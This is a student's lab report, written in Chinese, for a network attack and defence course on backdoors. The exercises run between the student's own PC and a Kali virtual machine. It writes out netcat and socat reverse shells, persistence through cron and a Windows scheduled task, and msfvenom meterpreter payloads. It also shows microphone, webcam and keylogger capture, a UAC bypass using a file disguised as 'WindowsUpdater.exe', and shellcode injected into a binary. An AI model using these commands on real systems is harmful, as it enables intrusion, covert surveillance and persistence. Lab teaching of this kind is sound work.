20232424 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.使用netcat在windows物理机获取远程主机kali的Shell,cron启动任务
2.使用socat在kali获取物理主机的Shell, 启动任务计划
3.使用MSF meterpreter生成后门文件,利用ncat发送到物理主机并运行获取主机Shell
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
5.使用MSF生成shellcode,注入实验1中的pwn文件,获取反弹连接Shell
2.实验过程
2.0基础环境配置
1.下载netcat和socat工具,可通过官网或CSDN上的各类博客提供的镜像进行下载。若出现无法下载的情况,可进入edge浏览器
“设置-隐私、搜索和服务-安全性”
将“防止有害网站和地址”关闭
下载解压完毕后,将netcat添加到系统环境变量,CSDN博文有很多教程,此处不再赘述
2.分别查看物理机与kali的IP地址
将虚拟机kali的网络适配器设置为 “仅主机模式” ,使用命令ifconfig
查看IP地址:192.168.19.129
在物理机中使用ipconfig
查看IP地址:192.168.19.1
2.1 netcat获取虚拟机shell,cron启动任务
1.shell获取
在物理机打开cmd,输入命令ncat -l -p 6666
对6666端口进行监听
然后在kali的终端中输入nc 192.168.19.1 6666 -e /bin/sh
进行反弹连接
返回物理机输入ls
测试是否获取到虚拟机shell
如图,成功调用虚拟机shell
2.cron启动任务
任务:通过cron让Kali每分钟都主动反弹连接Windows并给Windows提供一个Shell。
crontab -e选择vim.basic进入编辑
在底部加上* * * * * /bin/netcat 192.168.19.1 6666 -e /bin/sh #每分钟运行一次netcat反弹连接到Windows并提供一个Shell
wq退出
crontab -l查看文件是否被修改
返回物理机中,打开一个终端再次对6666端口监听,再打开一个终端输入命令netstat -an | findstr "6666"
查看端口6666状态。当状态由“LISTEN”变为“ESTABLISHED”即kali成功自动反弹连接。
图中可以看到我输入多次ls无反应,但明明已经建立连接,为什么?
猜测是当前执行shell的目录下无文件
cd /home/kali
进入kali目录下再次执行ls果然成功看到文件及目录信息
退出当前连接执行重新监听的操作,观察到端口状态总能由“LISTEN”变为“ESTABLISHED”,且这个过程不超过1分钟
2.2 socat获取Shell, 任务计划启动
1.socat获取Shell
此处目标主机变为windows物理机
首先在kali对端口进行监听
socat TCP-LISTEN:6666 - # 在Kali的8888端口监听
然后进入物理机中socat.exe所在的目录,右键进入终端,执行反弹连接
./socat exec:cmd.exe,pty,stderr TCP:192.168.19.129:6666
此时返回虚拟机可看到已经获取了windows的shell
进入提前创建好的test文件夹并mkdir test1
新建一个测试目录
如上图,目录成功创建
2.任务计划启动
进入物理机,首先编辑任务计划列表,创建一个任务,如图,在触发器中我们设置每天0:30自动触发
新建操作,将socat的路径填入“程序或脚本”中,并指定参数
exec:powershell.exe,pipes TCP:192.168.19.129:6666 #为虚拟机提供powershell
返回kali进行监听,可看到操作触发以后自动获取到了powershell
2.3 后门文件获取shell
1.使用命令msfvenom生成一个可执行文件作为后门程序,执行该程序使系统主动反弹连接指定的ip:LHOST 192.168.19.129和指定的端口:LPORT 8000
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 -f exe > 20232424_backdoor.exe # 其中192.168.19.129为Kali的IP地址
出现上图结果即生成完成
2.使用netcat将后门程序发送到物理机中
物理机:ncat -l -p 9000 -vv -w 3 > 20232424_backdoor.exe
虚拟机:nc 192.168.19.1 9000 < 20232424_backdoor.exe
如图,连接被建立,在物理机内可找到刚刚发送到后门程序
3.获取shell
完成以上步骤后在kali打开终端,输入以下命令
msfconsole #打开msf控制台
use exploit/multi/handler #进入监听
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129 #与后门程序的LHOST保持一致
set LPORT 8000 #与后门程序的LPORT保持一致
exploit#此步成功执行后,在物理机中运行后门程序
尝试获取用户uid
与shell
成功
2.4后门文件获取目标主机音频、摄像头、击键记录,并尝试提权
1.获取音、像、键盘
依旧在msf控制台内,输入以下命令:
record_mic -d 5 #目标主机默认麦克风录音5秒
webcam_snap #调用目标主机摄像头拍照
keyscan_start # 记录键盘敲击信息
keyscan_dump # 显示捕捉到的键盘记录信息
keyscan_stop # 停止记录
↑录音文件保存至kali文件夹下
↑照片保存至kali文件夹下
↑键盘敲击信息
kali目录内可查看刚刚获取的音、像文件
2.提权
尝试使用getsystem
提权,getuid
验证
失败
原因是UAC机制阻止程序执行任何涉及有关系统更改/特定任务的任务,除非用户权限提升
查看会话发现仅1个,无法进入其他会话
接下来就要完成“提权”这一步骤
使用exploit/windows/local/ask模块
background
use exploit/windows/local/ask # 加载模块
set session 1
set LHOST 192.168.19.1
set FILENAME WindowsUpdater.exe
run
完成以上步骤后Metaspolit会自动生成一个新的session,在这个session中使用getsystem便可以直接获得system权限,如下图:
2.5 shellcode注入获取shell
1.使用命令msfvenom生成一个elf格式的后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8888 -x /home/kali/桌面/pwn20232424 -f elf > 20232424_pwn1022
#此处IP地址设置为192.168.19.129,即以kali本机作为目标主机
使用sudo chmod a+x 20232424_pwn1022
为文件赋予可执行权限
再打开一个终端,输入msfconsole
进入msf控制台对本机监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 8888
exploit
在原终端中运行20232424_pwn1022文件
新终端中成功获取到kali的shell
如图,输入dir获取到了当前目录下的文件内容
3.问题及解决方案
- 问题1:在kali打开msf控制台建立会话时出现报错,会话建立后立马关闭
meterpreter session 1 closed.Reason:DIED
-
问题1解决方案:参考毕悠尘同学作业博文的解决方案。
步骤一:使用命令sudo apt update与sudo apt update && sudo apt install metasploit-framework对metasploit进行更新。
步骤二:在物理机中下载并安装Visual C++ Redistributable。安装完成后,再次运行后门程序,此时Meterpreter会话可稳定建立。 -
问题2:做“提权”步骤时,meterpreter无法新建会话,且自动将LHOST指向了本机的环回接口127.0.0.1
-
问题2解决方案:在输入指令
use exploit/windows/local/ask
加载完exploit/windows/local/ask模块后指定LHOST为虚拟机ip192.168.19.129
-
问题3:步骤2.1中kali的自动反弹连接会话成功建立,但是输入ls命令想要查看目录下文件时无反应,以为shell没有被调用,多次尝试后依旧无反应
-
问题3解决方案:ls查看的是当前目录下的文件,若无输出,有可能是当前目录下根本就没有文件。
cd /home/kali
进入kali目录下再次执行ls,成功看到文件及目录信息
4.问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
被诱导下载可疑软件时,木马伪装成软件插件被我安装到系统里
(2)例举你知道的后门如何启动起来(win及linux)的方式?
1.windows注册表自启动:负责开机启动的值被修改,实现后门随系统启动。
2.crontab定时任务(Linux),攻击者通过添加配置文件,比如实验中的* * * * * /bin/netcat 192.168.19.1 6666 -e /bin/sh
使系统每分钟执行指定目录下的后门脚本
(3)Meterpreter有哪些给你映像深刻的功能?
1.通过命令自动生成后门文件
2.UAC绕过提升权限
(4)如何发现自己有系统有没有被安装后门?
1.查看自己电脑的注册表和计划任务,排查注册表中的未知键值与计划任务中的可以任务
2.使用专业查杀工具,如“火绒”等,进行全盘扫描与实时监测
5.学习感悟、思考
本次实验对后门原理进行了应用与实践,其中包含调用目标主机音频、摄像头、击键记录等有意思的小实验,也有cron启动某项任务这类稍微难理解的内容,让我体会到了Metasploit这一工具的便利,也让我学习到了后门技术的基本原理及其技术的强大。从netcat的下载安装,到两台机器的相互连接与shell调用,再到主机摄像头的调用,这一步步虽然遇到了大大小小的问题,但亲眼看着笔记本电脑摄像头灯光闪烁,然后自己的图像出现在屏幕上的那种兴奋是难以言表的,也算是小小满足了一下自己小时候对于“黑客”的幻想。
同时本次实验也加深了我对防火墙“系统第一道物理防线”的认识,如果防火墙被关闭,那么任何微小的配置缺陷都有可能成为攻击者的目标。
参考资料
- 毕悠尘同学作业博文
- 陈翰文学长作业博文
- windows下安装使用netcat